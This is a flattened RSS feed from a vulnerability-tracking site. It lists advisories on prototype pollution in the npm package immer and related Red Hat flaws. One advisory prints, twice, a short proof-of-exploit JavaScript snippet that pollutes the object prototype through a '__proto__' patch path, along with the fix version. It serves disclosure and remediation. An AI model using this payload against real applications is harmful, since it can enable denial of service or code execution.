https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 03 Oct 2026 06:11:47 +0000 https://cve.radiocsirt.org/vuln/bdu:2021-02881 bdu:2021-02881 https://cve.radiocsirt.org/vuln/bdu:2021-02881 https://cve.radiocsirt.org/vuln/certfr-2024-avi-0630 certfr-2024-avi-0630 https://cve.radiocsirt.org/vuln/certfr-2024-avi-0630 https://cve.radiocsirt.org/vuln/euvd-2026-185720 EUVD-2026-185720 https://cve.radiocsirt.org/vuln/euvd-2026-185720 https://cve.radiocsirt.org/vuln/fkie_cve-2020-28477 <p>This affects all versions of package immer.</p> <p>This affects all versions of package immer.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2020-28477 https://cve.radiocsirt.org/vuln/ghsa-9qmh-276g-x5pj <p><strong>Affected:</strong> npm: immer</p> <p>## Overview</p> <p>Affected versions of immer are vulnerable to Prototype Pollution.</p> <p>## Proof of exploit</p> <p>```js const {applyPatches, enablePatches} = require(&#34;immer&#34;); enablePatches(); let obj = {}; console.log(&#34;Before : &#34; + obj.polluted); applyPatches({}, [ { op: &#39;add&#39;, path: [ &#34;__proto__&#34;, &#34;polluted&#34; ], value: &#34;yes&#34; } ]); // applyPatches({}, [ { op: &#39;replace&#39;, path: [ &#34;__proto__&#34;, &#34;polluted&#34; ], value: &#34;yes&#34; } ]); console.log(&#34;After : &#34; + obj.polluted); ```</p> <p>## Remediation</p> <p>Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.</p> <p><strong>Affected:</strong> npm: immer</p> <p>## Overview</p> <p>Affected versions of immer are vulnerable to Prototype Pollution.</p> <p>## Proof of exploit</p> <p>```js const {applyPatches, enablePatches} = require(&#34;immer&#34;); enablePatches(); let obj = {}; console.log(&#34;Before : &#34; + obj.polluted); applyPatches({}, [ { op: &#39;add&#39;, path: [ &#34;__proto__&#34;, &#34;polluted&#34; ], value: &#34;yes&#34; } ]); // applyPatches({}, [ { op: &#39;replace&#39;, path: [ &#34;__proto__&#34;, &#34;polluted&#34; ], value: &#34;yes&#34; } ]); console.log(&#34;After : &#34; + obj.polluted); ```</p> <p>## Remediation</p> <p>Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.</p> https://cve.radiocsirt.org/vuln/ghsa-9qmh-276g-x5pj https://cve.radiocsirt.org/vuln/gsd-2020-28477 gsd-2020-28477 https://cve.radiocsirt.org/vuln/gsd-2020-28477 https://cve.radiocsirt.org/vuln/rhsa-2021:1169 <p>nodejs-bootstrap-select: not escaping title values on &lt;option&gt; may lead to XSS m2crypto: bleichenbacher timing attacks in the RSA decryption API datatables.net: prototype pollution if &#39;constructor&#39; were used in a data property name nodejs-immer: prototype pollution may lead to DoS or remote code execution</p> <p>nodejs-bootstrap-select: not escaping title values on &lt;option&gt; may lead to XSS m2crypto: bleichenbacher timing attacks in the RSA decryption API datatables.net: prototype pollution if &#39;constructor&#39; were used in a data property name nodejs-immer: prototype pollution may lead to DoS or remote code execution</p> https://cve.radiocsirt.org/vuln/rhsa-2021:1169 https://cve.radiocsirt.org/vuln/wid-sec-w-2022-0808 <p>Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in der Red Hat Virtualization Engine ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen, beliebigen Code auszuführen, einen Denial of Service Zustand auszulösen und kryptographische Maßnahmen zu umgehen.</p> <p>Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in der Red Hat Virtualization Engine ausnutzen, um einen Cross-Site Scripting Angriff durchzuführen, beliebigen Code auszuführen, einen Denial of Service Zustand auszulösen und kryptographische Maßnahmen zu umgehen.</p> https://cve.radiocsirt.org/vuln/wid-sec-w-2022-0808